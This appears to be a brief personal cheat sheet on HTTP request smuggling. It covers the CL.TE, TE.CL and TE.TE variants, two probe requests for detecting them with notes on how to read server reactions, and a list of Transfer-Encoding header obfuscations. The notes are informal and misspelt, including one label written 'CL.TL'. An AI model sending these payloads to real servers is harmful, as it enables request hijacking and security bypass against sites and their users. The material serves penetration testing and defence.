HTTP Request Smuggling

CL -> Content-Length TE -> Transfer-Encoding

each server will use one header, so here is the three types that could do some damge: - CL.TE - TE.CL - TE.TE

if first and second use CL, there is no way to do smuggling, i mean i don't know how

first to know which one we dealing with send that:

Content-Length: 6
Transfer-Encoding: chunked

3
abc
X
  • if timeout this means CL.TE cz the frontend send without the X letter and the backend wating 0
  • if rejected mybe it is TE.CL or TE.TE
  • if respnse this means CL.CL which means no flow here
Content-Length: 6
Transfer-Encoding: chunked

0

X
  • if socket poison "XGET not allowed method..." CL.TL
  • if timeout this is TE.CL cz the backend server waiting the 6 byte
  • if response maybe this is CL.CL or TE.TE

i don't know a way to bypass CL.CL, but TE.TE There are potentially endless ways to obfuscate the Transfer-Encoding header. For example:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked